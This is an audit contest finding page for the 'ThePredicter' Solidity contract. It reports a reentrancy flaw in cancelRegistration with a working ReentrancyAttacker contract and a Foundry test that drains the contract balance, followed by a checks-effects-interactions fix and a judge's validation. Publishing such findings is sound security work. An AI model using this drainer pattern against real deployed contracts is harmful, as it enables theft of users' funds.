First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `ThePredicter::cancelRegistration` allows attacker to drain the contract funds

lulox

Description:

The way ThePredicter::cancelRegistration handles the cashback and subsequent update of state doesn't follow CEI (Checks - Effects - Interactions), which allows an attacker to drain the contract funds by deploying a malicious contract that calls cancelRegistration every time it receives funds until it drains the contract.

Impact: The whole contract balance can be drained by an attacker at any time.

Proof of Concept:

Import the following contract into ThePredicter.test.sol:

contract ReentrancyAttacker {
ThePredicter public thePredicter;
address public owner;
​
constructor(ThePredicter _thePredicter) {
thePredicter = _thePredicter;
owner = msg.sender;
}
​
function attack() public payable {
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
(bool success,) = payable(owner).call{value: address(this).balance}("");
(success);
}
​
receive() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
}

And include the following test into ThePredicter.test.sol:

function test_reentrancyInCancelRegistration() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
​
vm.deal(stranger2, 1 ether);
vm.prank(stranger2);
thePredicter.register{value: 0.04 ether}();
​
vm.deal(stranger3, 1 ether);
vm.prank(stranger3);
thePredicter.register{value: 0.04 ether}();
​
// Stranger is carrying out the attack
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(thePredicter);
reentrancyAttacker.attack{value: 0.04 ether}();
vm.stopPrank();
​
// 1 ether + 2 * 0.04 ether = 1.08 ether
assertEq(stranger.balance, 1.08 ether);
assertEq(address(thePredicter).balance, 0 ether);
}

Recommended Mitigation:

Make the following changes to ThePredicter::cancelRegistration:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.